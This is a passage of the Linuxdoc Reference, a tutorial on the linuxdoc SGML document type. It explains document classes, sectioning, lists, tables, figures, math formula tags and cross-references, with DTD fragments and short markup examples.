. You do not tell the program that this line should be in a bigger font, to look like a headline. What you do is telling that this line is a headline. You do not try to make your document look like a report, but you tag it to be a report. So you tag the text with the appropriate <tag>.

The big advantages of this approache are:

  1. You do not need to mess around with fontsetting, line gaps or anything directly connected to the layout.
  2. You describe your document in a more abstract way so it's more reusable and can be mapped to different media types.
    If you ever tried the reuse a document written in a specialized wysiwy layout for html then you know what I'm talking about.

In addition in all sgml-style documents you will find named symbols This is a concept to expand the charset of the document and to avoid inconsitences in decision of the parser, how to interpret or map some special characters.

How should the parser know weather a < character is starting a tag or should be printed directly. This is solved by the named character lt. If you write &lt; this one will result to < in your text. For a list of the named symbols see Named Symbols.

Hint for the new user

It might be a good idea, to download this document not only as a dvi or ps document, but also to download the sgml source. This offers you the chance to look into the sources, if you find something within this article, wich might fit your needs.


Linuxdoc Reference: A minimalistic document

 Next Previous Contents

3. A minimalistic document

In this section you'll find what you'll need for a minimalistic linuxdoc dtd conform document. It's intended to give a first touch. Skip this section, if you already now the principles.

3.1 Step By Step

The steps you have to do to create a nice linuxdoc document and map it to the form you need are:

  • Take a plain text editor of your choice.
  • Create a file and name it (or later save it as) e.g. start.sgml.
  • Type the document
  • Save the file and close your editor.
  • Run the checker by typing sgmlcheck start.sgml.
  • If you get errors reported, reopen your document in your editor again and try to correct it
    The error messages of sgmlcheck will give you a hint about the type of error and also line and column where it occurred.
    . Run the checker again until no more errors occur.
  • Now you have to decide what's your document for. Take the apropriate parser mapper combination and translate your document. To find the mappers available in the SGML-Tools see table SGML-Tools mappers for sgml documents.

    type     		to produce
    sgml2html start.sgml | Hypertext markup language for web browsers
    sgml2lyx start.sgml | Lyx or KLyx wysiwym textformat
    sgml2info start.sgml | Info page for UN*X info
    sgml2latex start.sgml | DVI output
    sgml2latex --output=tex start.sgml | pure tex output
    sgml2latex --output=ps start.sgml | postscript output
    sgml2rtf start.sgml | rich text format
    sgml2txt start.sgml | pure text
    SGML-Tools mappers for sgml documents

3.2 A Startup Document

We start with a simple document (the numbers and colon in the beginning of the line are for explanation, don't type it!):

1: <!doctype linuxdoc system>
2: <notes>
3: <title>A Small Linuxdoc Example</title>
4: <p>Hello <em>world</em>.</p>
5: <p><bf>Here</bf> we are.</p>
6: </notes>

Now we take a look at the single lines:

  1. A linuxdoc document has to start, like all SGML conform documents, with the preamble. If you like you can take it as a piece of necessary magic, or you can try to find more information about SGML. The preamble is indicating to the SGML-parser, which dtd (document type definition) it should use for checking the syntax of the document.
  2. Open the document class: You have to decide, wich type of document you want to write. See section Document Classes for detailed description about that document classes. The necessary header information, wich is depending on the document class is also explained there. In our case we place a <notes> tag forming a note, wich is indicating a simple unstructured document.
  3. Even if optional it's a good idea to give a title to the document. That's done with the <title> tag.
  4. A paragraph marked by the <p> tag, containing the word world wich is inline emphasized by the <em> tag.
  5. Another completely tagged paragraph, with another word inline boldfaced by the <bf> tag.
  6. Here we close the open document class tag.

The same example may be written a little bit shorter, by leaving out tags which are placed automatically by the parser, and by using shortened tags:

1: <!doctype linuxdoc system>
2: <notes>
3: <title>A Small Linuxdoc Example
4: <p>Hello <em/world/.
5:
6: <bf/Here/ we are.
7: </notes>

Now we look at the single lines again:

  1. The preambel.
  2. The document class (also unchanged).
  3. The title. It's not closed, because the p tag in the next line is implicitely closing it.
  4. The paragraph is implicitly closing the title. The emphasize tag is noted in short form. The short notation you can use only if your tagged text doesn't contain a litteral /. The paragraph is not explicitly closed in this line.
  5. The empty line here is the reason, why you don't need to close the previous paragraph and don't need to open the next one. A empty line is interpreted as a end of the current paragraph and the start of a new one.
  6. Another paragraph (not opened directly), with another short inline tag.
  7. Closing the open document class tag, wich is implicitly also closing the still open paragraph.

Maybe now it's a little bit more clear, who you have to work with tags.


Linuxdoc Reference: Document Classes

 Next Previous Contents

4. Document Classes

<!element linuxdoc o o
        (sect | chapt | article | report |
         book | letter | telefax | slides | notes | manpage ) >

This is describing the overall class of the document, so naturally it has (leave alone the doctype definition) to be the first tag enclosing your whole document. Some of the tags namely the sect and chapt (see section Sectioning Tags) doesn't make any sense taken them standalone despite being included as part of more complete classed document, so we'll describe them later as a part of the other document classes. Decide first which of the top mentioned document classes fits the type of the document you want to write best.

To find a detailed description of the document classes see table Document classes.

Document classes
Chapter | Class tag
Article Tag | <atricle>
Report Tag | <report>
Book Tag | <book>
Letter Tag | <letter>
Telefax Tag | <telefax>
Slides Tag | <slides>
Notes Tag | <notes>
Manpage Tag | <manpage>

To me the article class is the most important one. That´s the reason why it´s described first and most detailed.

4.1 Article Tag

<!element article - -
        (titlepag, header?,
         toc?, lof?, lot?, p*, sect*,
         (appendix, sect+)?, biblio?) +(footnote)>

<!attlist article
        opts cdata "null">
You can see that the article needs some tags included. They will be explained in consequence.

The options attribute (opts) takes a comma separated list with thy different style (LaTeX .sty) sheets to inlude within the document.

Titlepage Tag

<!element titlepag o o (title, author, date?, abstract?)>
The Titlepage Tag (titlepag) is implicitly placed as soon a you started your document class. You don't need to write it explicitly. Anyway you have to note it's mandatory tags. It's purpouse is to describe the layout and elements of the titlepages.

Title Tag

<!element title - o (%inline, subtitle?) +(newline)>
Each document class wich owns a titlepage of course needs a title, wich is noted down with a <title> tag. You don't need to close thatone. A title may contain a subtitle started by the <subtitle> tag.

If you look at the headerpage of this document you'll find it to be mapped from the tags:

<title>Linuxdoc Reference
<subtitle>A introduction to the linuxdoc dtd

Author Tag

<!element author - o (name, thanks?, inst?,
                        (and, name, thanks?, inst?)*)>
Usually you place the (your) name here. People should know who wrote the document, so you place a <author> tag. If you don't note the name tag it´s imlicitly placed. The author has also optional items wich can be tagged within the author tag.

If you want to say thanks to anyone (might be somebody providing usefull information) you place it within the <thanks> tag. Next, if your writing is done in your position of an institution staff member, place it within the <inst> tag.

The <and> tag is starting the whole story again, as if there would be a second author tag would have been started. Clearly thisone is for coauthors.

Date Tag

If you want to mark your document with a date, you can do that with the <date> tag.

It's not checked weather you really place a valid date here, but don't abuse it.

Abstract Tag

This tag is intended for an abstract description of your document. Don't mix the <abstract> tag withh an indruduction wich is likely to be placed inside the first section of your document (see section Sectioning).

Header Tag

<!element header - - (lhead, rhead) >
<!element lhead - o (%inline)>
<!element rhead - o (%inline)>
A <header> tag specifies what should be printed at the top of each page. It consists of a left heading i.e. <lhead> and a right heading i.e. <rhead>). Both elements are required, if a heading is used at all, but either may be left empty, so that the effect of having only a left or right heading can be achieved easily enough.

As we will see, an initial header can be given after the title page. Afterwards, a new header can be given for each new chapter or section. The header printed on a page is the one which is in effect at the end of the current page. So that the header will be that of the last section starting on the page.

Table Of Contents Tag

If you place the <toc> tag, a table of contense will be generated, by looking the section heading, and adding references.

In a hyperref document, this might be hyperrefs, in a LaTeX document you will come to see the pagenumbers.
Only the sections major to the sect3 will be included.

List Of Figures Tag

If you place the <lof> tag, a list of figures will be generated, by looking the captions of the figures, and adding references.

List Of Tables Tag

If you place the <lot> tag, a list of tables will be generated, by looking the captions of the tables, and adding references.

Body

Here you place various sections according section Sectioning. There is no body tag. The body starts with the first chapter, section or paragraph.

Appendix Tag

In the end of the article you can place the <appendix> tag

Really you shouldn't think about people (e.g. m.d.s knifing your belly here.
, wich starts a area of appended sections. The appendix tag implies a different section numbering type to the following section tags.

Bibliography Tag

It's intended to gather all the <cites> and <ncites> you used within your document. The <biblio> tag will be replaced by a bibliography according the mapping type of the document, maybe by hyperrefs maybe by section numbers or anything wich might be useful.

Until now I've not been able to create a .bbl file, so I wasn't able to verify.

Footnote Tag

A footnote may be place in any spot of your document. Exactly the spot in yout document where you are placing the <footnote> tag should be the one where the reference to the tagged text shuld be rendered. It should be used for additional information, wich is not necessary for understanding the primary purpouse of yor document but might be usefull, interesting, or funny.

Whereas the last one is not always true, even if you try.
anywhere within the article.

4.2 Report Tag

<!element report - -
        (titlepag, header?, toc?, lof?, lot?, p*,
         chapt*, (appendix, chapt+)?, biblio?) +(footnote)>
The report is a document class with a chapter oriented approach. So within a document clasified by a <report> tag the toplevel is grouped by the <chapt> tag (see Sectioning). The rest of the structure is identical to the article class Article Tag.

4.3 Book Tag

<!element book  - -
        (titlepag, header?, toc?, lof?, lot?, p*, chapt*,
         (appendix, chapt+)?, biblio?) +(footnote) >
You will notice that the book element is identical to the report Report Tag. So anything valid there is also valid if you classify your document with a <book> tag.

4.4 Letter Tag

<!entity  % addr "(address?, email?, phone?, fax?)" >

<!element letter - -
        (from, %addr, to, %addr, cc?, subject?, sref?, rref?,
         rdate?, opening, p+, closing, encl?, ps?)>

Also the purpose of the letter document class should be quite self explaining. Place a <letter> tag if you want to write one.

The letter's tags ar described in table Tags in a letter

Tags in a letter
tag | mandatory | what's it
from | yes | from sender
address | no | sender's address
email | no | sender's email
phone | no | sender's phone
fax | no | sender's fax
to | yes | receiver
address | no | receiver's address
email | no | receiver's email
phone | no | receiver's phone
fax | no | receiver's fax
cc | no | carbon copy
subject | no | letters subject
sref | no | sender's reference
rref | no | receiver's reference
rdate | no | received date??
opening | yes | opening
paragraphs | yes | see Paragraphs
closing | yes | closing
encl | no | enclosure
ps | no | post scriptum

4.5 Telefax Tag

<!element telefax - -
        (from, %addr, to, address, email?,
         phone?, fax, cc?, subject?,
         opening, p+, closing, ps?)>
Overall the structure is same to the letter class. The only difference is that with the <telefax> tag the receiver's <fax> tag becomes mandatory.
Should be obvious why.

4.6 Slides Tag

<!element slides - - (slide*) >
The slides class is intended for overhead slides and transparencies. So the structure of a document classified by a <slides> tag is a very simple one. It contains single slide(s) startes by a <slide> tag. Nothing else. If not explicitly written the first slide is started implicitly.

Slide Tag

<!element slide - o (title?, p+) >
A <slide> tag is only allowed within the slides document class. A slide may contain:

A title (see section The Title Tag) and one or more paragraphs (see section Paragraphs). That's all.

4.7 Note Tag

<!element notes - - (title?, p+) >
Intended as a class for personal notes the structure is even more simplified than the slides document class (see The Slide Tag). After classifying a document with the <notes> tag only a title (see section The Title Tag) and one or more paragraphs (see section Paragraphs) are allowed.

4.8 Manual Page Tag

<!element manpage - - (sect1*)
        -(sect2 | f | %mathpar | figure | tabular |
          table | %xref | %thrm )>
This document class is intended for writing manual pages, fitting the need of the man programm. In a document classified by a <manpage> tag the topleve section tag is the sect1 tag (see section Sectioning), for easy pasting manual pages into an article or book document class. The exception here to the nortmal sectioning is, that there is only one subsection level allowed (sect2).


Linuxdoc Reference: Inlines

 Next Previous Contents

5. Inlines

<!entity % inline
        " (#pcdata | f| x| %emph; |sq| %xref | %index | file )* " >
Inlines may occure anywhere within the text, and doesn't have any influence to the textflow or logical structure of the document.

#pcdata

Parsed character data is just normal written text within the flow wich may contain other inlines.

f

Inline mathematical formulas according to the maths.dtd. See The Formula Tag.

x

The external tag wich is bypassing the parser. Tagged data walks directly into the mapped file. See chapter The External Tag for detailed information.

%emph;

Emphasizes of the text. See chapter Emphasizes.

sq

Shortquotes within the textflow. See chapter The Short Quote Tad.

%xref

XReferecnces within the text or external references. See chapter Labels and References.

%index

Again I can't explain this one. If you can, please mail.

file

Again I can't explain this one (I only could guess about picture files in eps). If you can, please mail.


Linuxdoc Reference: Sectioning

 Next Previous Contents

6. Sectioning

<!element chapt - o (%sect, sect*) +(footnote)>
<!element sect  - o (%sect, sect1*) +(footnote)>
<!element sect1 - o (%sect, sect2*)>
<!element sect2 - o (%sect, sect3*)>
<!element sect3 - o (%sect, sect4*)>
<!element sect4 - o (%sect)>
The sectioning
Also the chapt tag is a sectioning tag.
is done by the according elements, forming the section tree. They are bringing the various paragraphs within our document to follow a nice tree. The top level tag and the allowed depth is varying with the document class (see section The Document Class).

The normal hierarchy is

chapt
    sect
        sect1
            sect2
                sect3
                    sect4

Just take a book, look the table of conetents and you will see.

Each of the tags out of the sectionings has nearly the same syntax. All of them owe a heading. The heading tag is placed implicitly if you don't note it down. Also the each of the sectioning tags may contain a header tag, changing the current document header (see section The Header Tag).

Within the you may place subordinate sections and paragraphs (see Paragraphs).

Some of the sectioning tags may only appear in special document classes ( Document Classes).

Hint:

It's wise to place a label tag after the text of the section tag, even if you don't want to refer to the section Labels and references. Later when your document grows you might want to.


Linuxdoc Reference: Paragraphs

 Next Previous Contents

7. Paragraphs

<!entity % sectpar
        " %par; | figure | tabular | table | %mathpar; |
          %thrm; | %litprog; ">

<!entity % par
        "  %list; | comment | lq | quote | tscreen " >

<!entity % litprog " code | verb " >

Each of the here described tags form a paragraph.

For obvious reason a paragraph is normally

The behaviour of the exceptions figure and tabular are explained there.
starting and ending with a new line.
How else you would notice it's a paragraph ?

There are some tags, wich always form a paragraph, and one way to form a paragraph implicitly. There are various types of paragraphs, because not every type of paragraph is allowed to appear in every document class in every place.

The different types of paragraphs are explained in the next sections. For more details about %litprog; see Literate Programming.

7.1 Normal Paragraph

Normal paragraphs can be formed in two ways:

Paragraph tag

The <p> tag is starting a new paragraph. This tag is mandatory if you want to finish a section header without explicitly closing the sect tag. In this case <p> tag then closes the <sect> tag automatically.

Empty Newline

A empty line between two paragraph is implicitly starting a new paragraph. Take care within descriptive lists. There a empty <tag> tag will not be paragraphed by an empty line.

7.2 List-like Paragraphs

<!entity % list
        " list | itemize | enum | descrip " >
This four tags indicate the starting of a list-like paragraph. Within each of the lists the single items are separated by an item tag.
<!element item o o ((%inline; | %sectpar;)*, p*) >
As you can see, a item may again contain paragraphs (and therefore also may contain other lists - even of a different type).

List Tag

<!element list - - (item+)>

The list tag will be mapped to a nacked list without bullets, numers or anything else.

To see it, I place a small example:

<list>
<item>A point
<item>Another one
<item>Last
</list>

Will look (depending on the mapping) like:

  • A point
  • Another one
  • Last

    • Itemize Tag

    <!element itemize - - (item+)>

    The itemize tag will be mapped to a list with bullets, wich is usually place for lists where the order of the items is not important.

    A small example:

    <itemize>
<item>A point
<item>Another one
<item>Last
</itemize>

    Will look (depending on the mapping) like:

    • A point
    • Another one
    • Last

    Enum Tag

    <!element enum - - (item+)>

    The enum tag will be mapped to a list with numbers.

    A small example:

    <enum>
<item>A point
<item>Another one
<item>Last
</enum>

    Will look (depending on the mapping) like:

    1. A point
    2. Another one
    3. Last

    Descrip Tag

    <!element descrip - - (tag?, p+)+ >

    The descrip tag will be mapped to a descriptive list. The concept here is a little bit different than with the other types of lists mentioned above.

    Here you place a tag (this time the tag's name is really litteraly tag) wich is described later on.

    A small example:

    <descrip>
<tag/sgml/structured general markup language.
<tag/html - hypertext markup language/
A sgml implementation.
It contains some concepts about linking information together in a very
convenient way.
This made it to be so successful and to become the standard for documents
published by the internet.
<tag/internet/A worldwide connected internet (internet here as a
technical term)
</descrip>

    Will look (depending on the mapping) like:

    sgml

    structured general markup language.

    html - hypertext markup language

    A sgml implementation. It contains some concepts about linking information together in a very covenient way. This made it to be so successfull and to become the standard for documents published by the internet.

    internet

    A worldwide connected internet (internet here as a technical term)

    7.3 Figures and Tables

    The <figure> and the <table> tags form very special paragraphs. Not always they stay within the normal textflow. Both of the tags can hold a loc (loction) attribute wich is telling how to handle the flow of this special paragraph.

    The value of the loc attribute is a string of up to four letters, where each letter declares a location at which the figure or table may appear, as described in table Table Locations.

    Table Locations
h | here | At the same location as in the SGML file
t | top | At the top of a page
b | bottom | At the bottom of a page
p | page | On a separate page only with figures and tables

    The default value of the loc attribute is top.

    Table Tag

    <!element table   - - (tabular, caption?) >

    As you can see a table consists of the <table> tag itself, including a <tabular> tag and a optional <caption> tag.

    The <tabular> tag may also be placed without a <table> tag so it is described in detail in it's own section (see Tabular Tag).

    The caption is used also to place the entry for the list of tables if you stated one (see The List Of Tables Tag).

    A short example will show how it's working together.

    <table loc="ht">
<tabular ca="lcr">
Look|this|table@
Isn't|it|nice@
1.234|mixed|columns
</tabular>
<caption>A sample table
</table>

    A sample table
Look | this | table
Isn't | it | nice
1.234 | mixed | columns

    The caption "A sample table" would be the name in the list of tables.

    Figure Tag

    <!element figure - - ((eps | ph ), img*, caption?)>
    The usage of the <figure> tag is equivalent to the <table> tag. Instead of the <tabular> tag you place either a <eps> or a <ph> tag.

    Encapsulated Postscript™ Tag

    <!attlist eps
        file cdata #required
        height cdata "5cm"
        angle cdata "0">
    The <eps> tag is intended for including a external file in encapsulated postscript™ format into the document.

    The attributes of the <eps> tag are:

    file

    The file attribute needs the file name of a encapsulated postscript™ file ending with a .ps suffix. The mandatory .ps suffix must not be written.

    height

    The height of the space the file is zoomed to. If you don't specify it defaults to 5cm. Take care that there's no spcae between the number and the length unit (i, cm).

    angle

    The angle is given in normal degrees (0-360) and as the number is increasing the file is rotated counter clockwise.

    A example:

    <figure loc="here">
<eps file="logo" height="4cm" angle="15">
<img src="logo.gif">
<caption>A included encapsulated postscript&trade;
</figure>

    The img tag is ignored by LaTeX-mapping and useful for html, 'cause most browsers don't know about eps.

    A included encapsulated postscript™ file.

    The caption here would go to the list of figures as decribed in section The List Of Figures Tag.

    Placeholder Tag

    <!attlist ph
        vspace cdata #required>
    This tag doesn't place anything but keeps a clean space for good old manual picture pasting. The space kept free is destined by the vspace attribte. Caveat: The numerical argument for the vspace attribte needs a unit directly behind the number. Don't leave a space there (same as for the height attribute in Encapsulated Postscript™ Tag.

    <figure loc="ht">
<ph vspace="5cm">
<caption>A blank space.
</figure>

    Results to:

    A blank space for gluing a photo

    At this point you might want to look for your scissors and the glue.

    7.4 Tabular Tag

    <!element tabular - -
       (hline?, %tabrow, (rowsep, hline?, %tabrow)*, caption?) >
    The <tabular> tag is interpreted as an own paragraph, if it is written standalone. Together with a <table> tag it gets part of the paragraph of the <table> tag (see Table tag).

    Within the tabular tag you have rows an collumns wich are separating the text. You have to have at least one collumn and one row.

    Wouldn't be very usefull otherwise.

    The <tabular> tag has a mandatory ca attribute for collumn allignement. The collumn allignement holds a single character for each collumn in their order from left to right. The chracters you may place per collumn described in table Collumns allignements

    Column alignments
char | alignment
l | left
c | centered
r | right

    In theory you should be able to place a | into the ca attribure for drawing a horizontal line for separating two collumns. The problem: It doesn't work. The parser accepts it nicely, only the LaTeX output will map | to {$|$} wich is of course the set for four collumns with invalid collumn allignement for all four collums. I'll try to figure out what to do about it.

    The columns within the <tabular> tag are separated by a collumn separator, the <colsep> tag. The character | is translated to <colsep> so you can also place that one instead

    Less typing, more fun.
    .

    What's valid for collumns is also valid for rows. You separate the by a row separator, the <rowsep> tag. The character @ is translated to <rowsep>.

    Optional you can place a horizontal line with the <hline> tag. Take care with that one: The SGML tools will parse it nicely weather you place it in front of the row you want under the line, or behind the end of the row you want over it. But the only place to write it without causing the parser to shout "error" is to write it dircetly and without space or newline behind the row separator.

    <tabular ca="lcr">
Look|this|table@<hline>
Isn't|it|nice@
1.234|mixed|columns@
</tabular>

    Results in table Sample table for tabular tag

    Sample table for tabular tag
Look | this | table
Isn't | it | nice
1.234 | mixed | columns

    Attention:

    In LaTeX mapping everything works nice if you place a tabular tag without a table tag, only in the other mappings (e.g. html) it will be messed up.

    7.5 Mathematical Paragraph

    <!entity % mathpar " dm | eq " >

    A mathematical paragraph consits either of a displayed formula, tagged by <dm>

    No, sorry, not for Deutschmark! ;-)
    or an equation, tagged by <eq>. They work very much the same.

    Both of these tags contain a mathematical formula. See Mathematical Formulas for the tags valid here.

    Note:

    Because neither Netscape nor Microsoft has seen any need to add mathematical mappings to their browsers (like demanded and defined by w3c), there is no nice way of mapping, or at least displaying the math stuff in html. So if you view the online version, feel free to wonder what nonsense this man is telling here. Might be you should take a glance at the postscript version.

    Displayed Formula Tag

    This tag displays a mathematical formula as a paragraph. The formula is mapped centered as a single line

    No guarantee for that. You know: Mapping is a matter of taste.
    .

    <dm>(a+b)<sup/2/=a<sup/2/+2ab+b<sup/2/</dm>
    Is mapped to: (a+b)2=a2+2ab+b2

    Equation Tag

    <dm>(a+b)<sup/2/=a<sup/2/+2ab+b<sup/2/</dm>
    Is mapped to: (a+b)2=a2+2ab+b2

    7.6 Theorem Paragraph

    <!entity % thrm
        " def | prop | lemma | coroll | proof | theorem " >

<!element def - - (thtag?, p+) >
<!element prop - - (thtag?, p+) >
<!element lemma - - (thtag?, p+) >
<!element coroll - - (thtag?, p+) >
<!element proof - - (p+) >
<!element theorem - - (thtag?, p+) >
    As you can see the different types of theorem paragraphs are nearly identical. The only exception wich is a little bit different is the proof wich doesn't own a thtag. For all the others the thtag is giving the tag of the theorem paragraph.

    Yust try to use that one, wich is fitting the meaning of what you are typing.

    <thrm>
<thtag>Alexander's thrm</thtag>
Let <f>&lt;fi/G/</f> be a set of non-trivially achievable subgoals
and &mu; an order on <f>&lt;fi/G/</f>. &mu; is abstractly
indicative if and only if it is a linearization of
<f><lim><op>&mu;</op><ll><fi/G/</ll><ul>&ast;</ul></lim></f>.
</theorem>

    The thrm is replaced by the adequate tag.

    Maybe somebody knowing about mathematics would be shocked about my abuse of the types, but I'm lazy so I simply copied the examples:

    Definition (def): Alexander's Definition

    Let G be a set of nontrivially achievable subgoals and µ an order on G. µ is abstractly indicative if and only if it is a linearization of µ G

      *
    .

    Proposition (prop): Alexander's Proposition

    Let G be a set of nontrivially achievable subgoals and µ an order on G. µ is abstractly indicative if and only if it is a linearization of µ G

      *
    .

    Lemma (lemma): Alexander's Lemma

    Let G be a set of nontrivially achievable subgoals and µ an order on G. µ is abstractly indicative if and only if it is a linearization of µ G

      *
    .

    Corollation (coroll): Alexander's Corollary

    Let G be a set of nontrivially achievable subgoals and µ an order on G. µ is abstractly indicative if and only if it is a linearization of µ G

      *
    .

    Alexander's Theorem

    Let G be a set of nontrivially achievable subgoals and µ an order on G. µ is abstractly indicative if and only if it is a linearization of µ G

      *
    .

    The proof is just the same without the thtag:

    Let G be a set of nontrivially achievable subgoals and µ an order on G. µ is abstractly indicative if and only if it is a linearization of µ G

      *
    .

    7.7 Code and verbatim Paragraphs

    Both tags from a paragraph and have very similar behavior. Inside this tags most special characters don't need their named form as in section Named Symbols. The exceptions are:

    1. &etago; -> </ -> end of tag open
    Maybe later the list will grow.

    In difference to the normal paragraph mapping white-spaces and newlines will be mapped literally (as you write them in your source).

    Also (with respect to manual layout) the font for mapping will be a non-proportional one.

    See the difference between IIWW and IIWW.

    Note:

    Aggain, I'm neither a native speaker not I love mathematics a lot. So I just placed some nonsense, wich might cause headache and grey hair for people who want to use this document for learning to formulate mathematical or physical theories.

    Feel free to send better examples.

    Code Tag

    <!element code - - rcdata>

    Use the code tag, if you want to write sourcecode example within your text.

    A code sample

    <code>

    #include <stdio.h>
int main() {
    printf("Hello world");
    return 1;
}
    </code>

    Verbatim Tag

    <!element verb - - rcdata>

    Use the verbatim tag for anything else than sourcecode (use Code Tag for this) which needs the good old whitespace padding, like terminal hardcopy, ASCII-Graphics etc.

    A verb sample

    <verb>

    /////////
| *   * |
|   |   |
| <---> |
 \_____/
    </verb>


Linuxdoc Reference: Inline Tags

 Next Previous Contents

8. Inline Tags

Here the abstract inlines are broken down until only true and usable tags will remain. Let's recall:

<!entity % inline
        " (#pcdata | f| x| %emph; |sq| %xref | %index | file )* " >
Inlines don't have a influence to paragraphing, sectioning or document classing. Just modifying text within it's normal flow.

8.1 Emphasizes

<!entity % emph
        " em|it|bf|sf|sl|tt|cparam " >

The emphasizes are gathering the tags for emphasizing inline text.

The different types of emphasizes are:

em -> The Emphasize Tag

I hate to be redundant but I have to say: The emphasize tag you place for emphasized text. Normally it's mapped to italic letters. So if you write <em/a emphasized text/ it will be mapped to a emphasized text.

it -> The Italic Tag

The italic tag you place for a cursive mapping. If you write <it/a italic text/ it will be mapped to a italic text.

bf -> The Boldface Tag

The boldface tag you place for a bold mapping. If you write <bf/a bold text/ it will be mapped to a bold text.

sf -> The Swissfont Tag

I know that Tom Gordon from GMD is telling that this is the sans serif tag. My interpretation of the sf is swissfont wich for me is more easy to remember. This is mapping the inlined text to a font wich is out of the helvetica family. So <sf/a swissfont text/ will be mapped to a swissfont text.

sl -> The Slanted Tag

I think I skip the explanation. <sl/a slanted text/ will be mapped to a slanted text.

tt -> The Terminaltype Tag

Text tagged with terminaltype will be placed inline, just like all the other text within a paragraph. It will not be included into source output if you are workink as described in section Literate Programming, even if it's looking like typed code. <tt/a terminal typed text/ will be mapped to a terminal typed text.

8.2 Short-quote Tag

Normally this one could be viewed the same level like one of the emphasize tags, but the definition of the linuxdoc dtd is placing it same level like the emphasizes, and so I do.

The shortquote tag is a inline quotation, not forming an own paragraph. The text <sq/a short quote/ is mapped to "a short quote".

8.3 Formula Tag

The formula tag allows us to note down a mathematical formula within the normal text, not appearing in an own line. So the text <f>x=y<sup>2</sup></f> will be displayed as x=y2. See Mathematical Fomulas for the tags valid within the formula.

8.4 External Tag

The external tag is passing the tagged data directly through the parser, without modifying it. E.g. to LaTeX.


Linuxdoc Reference: Mathematical Formulas

 Next Previous Contents

9. Mathematical Formulas

They can appear with in the tags listed in table Places of Mathematical Formulas

Places of Mathematical Formulas
tag | description | see
f | inline formula | The Formula Tag
dm | displayed formula | Mathematical Paragraph
eq | equation | Mathematical Paragraph

If you view this document mapped to html you will notice that html has no nice way of displaying mathematical formulas.

After a little hand parsing the contents of a mathematical tag looks like:

<!element  xx       - -
        (((fr|lim|ar|root) |
          (pr|in|sum) |
          (#pcdata|mc|(tu|phr)) |
          (rf|v|fi) |
          (unl|ovl|sup|inf))*)>
The xx stands for f, dm or eq. All of them are the same.

Note:

Because neither Netscape nor Microsoft has seen any need to add mathematical mappings to their browsers (like demanded and defined by w3c), there is no nice way of mapping, or at least displaying the math stuff in html. So if you view the online version, feel free to wonder what nonsense this man is telling here. Might be you should take a glance at the postscript version.

9.1 Fraction Tag

<!element  fr       - - (nu,de) >
<!element  nu       o o ((%fbutxt;)*) >
<!element  de       o o ((%fbutxt;)*) >

So what we see from it is, that a fraction consits of a numerator and a denumerator tag, wich again each one can hold a mathematical formula.

I think an example will tell you more:

<dm><fr><nu/7/<de/13/</fr></dm>

results to:

7 13

In case we want to to place 1/2 instead of the numerator without cleaning it up, we'll type:

<dm><fr><nu><fr><nu/1/<de/2/</fr></nu><de/13/</fr></dm>

Which results to:

1 2 13

9.2 Product, Integral and Summation Tag

<!element  pr       - - (ll,ul,opd?) >
<!element  in       - - (ll,ul,opd?) >
<!element  sum      - - (ll,ul,opd?) >

Each of them has a lower limit (ll tag), a upper limit (ul tag) and a optional operand, where each of them again may consist of a formula. The tags are same in syntax like shown in table Tags with upper-, lower limit and operator.

name 		example result
Product <f>y=<pr><ll>i=1<ul>n<opd>x<inf/i/</pr></f> y=i=1
    n
xi
Integral <f>y=<in><ll>a<ul>b<opd>x<sup/2/</in></f> y=a
    b
x2
Summation <f>y=<sum><ll>i=1<ul>n<opd>x<inf/i/</sum></f> y=i=1
    n
xi
Tags with upper-, lower limit and operator

9.3 Limited Tag

<!element  lim      - - (op,ll,ul,opd?) >
<!element  op       o o (%fcstxt;|rf|%fph;) -(tu) >
<!element  ll       o o ((%fbutxt;)*) >
<!element  ul       o o ((%fbutxt;)*) >
<!element  opd      - o ((%fbutxt;)*) >

You can use that one for operators with upper and lower limits other than products, sums or integrals. The for the other types defined operator is destinied by the optag, wich can contain again a mathematical formula.

B i=0

    n
xi

9.4 Array Tag

<!element  ar       - - (row, (arr, row)*) >
<!attlist  ar
    ca     cdata    #required >
<!element  arr      - o empty >
<!element  arc      - o empty >
<!entity   arr "<arr>" >
<!entity   arc "<arc>" >
Of course a reasonable mathematical document needs a way to describe arrays and matrices. The array (ar) is noted down equivalent to a tabular (see section The Tabular Tag). The differences in handling are:
  • No <hline> tag.
  • The ca attribute character | is not allowd.
  • Columns are not separated by colsep tag but with the arc tag (array collumn).
  • Rows are not separated by rowsep tag but with the arr tag (array row).
Again the characters | and @ are mapped to the adequate separator tag, so you really can note a array same way as a tabular.

<dm><ar ca="clcr">
a+b+c | uv    <arc> x-y | 27    @
a+b   | u+v   | z   | 134   <arr>
a     | 3u+vw | xyz | 2,978
</ar></dm>

Is mapped to:

a+b+c uv x-y 27 a+b u+v z 134 a 3u+vw xyz 2,978

9.5 Root Tag

<!element  root     - - ((%fbutxt;)*) >
<!attlist  root
        n cdata "">
The root is noted down by the root tag, wich contains a n attribute, holding the value for the "n'th" root.

<dm><root n="3"/x+y/</dm>

is mapped to:

x+y

9.6 Figure Tag

<!element  fi  - o (#pcdata) >

With the figure tag you can place mathematical figures. The tagged characters are directly mapped to a mathematical figure. Which character is mapped to which figure you'll find in Mathematical Figures.

9.7 Realfont Tag

<!element  rf  - o (#pcdata) >
This tag is placing a real font within a mathematical formula.
I'm really not sure about rf. What should it be?
No formula is allowed within that tag.

<dm><rf/Binom:/ (a+b)<sup/2/=a<sup/2/+2ab+b<sup/2/</dm>

is mapped to:

Binom: (a+b)2=a2+2ab+b2

9.8 Other Mathematical Tags

The remaining tags simply modify the tagged formula, without implying any other tag. The effect is shown in table Mathematical tags without included tags

Mathematical tags without included tags
name | tag | example |  | result
vector | v | <f><v/a/&times;<v/b/=<v/0/</f> | -> | a×b=0
overline | ovl | <f><ovl/1+1/=<ovl/2/</f> | -> | 1+1=2
underline | unl | <f><unl/1+1/=<unl/2/</f> | -> | 1+1=2
superior | sup | <f>e=m&times;c<sup/2/</f> | -> | e=m×c2
inferior | inf | <f>x<inf/i/:=2x<inf/i-1/+3</f> | -> | xi:=2xi-1+3


Linuxdoc Reference: Labels and References

 Next Previous Contents

10. Labels and References

<!entity % xref
        " label|ref|pageref|cite|url|htmlurl|ncite " >

As soon as it´s a little bit more sophisticated a document will need references to other places within the document.

10.1 Label Tag

<!element label - o empty>
<!attlist label id cdata #required>
If you want to refer to a spot, chapter or section within your document you place a label tag.

A example could look like:

<sect1>Welcome to the article<label id="intro">
<p>...

10.2 Reference Tag

<!element ref - o empty>
<!attlist ref
        id cdata #required
        name cdata "<@@refnam>">

With this tag you can refer to a place within your document labeled as in Label Tag.

The way the reference is mapped in you document again depends to the mapper. May result to a hyper-ref (HTML) or a section number (LaTeX).

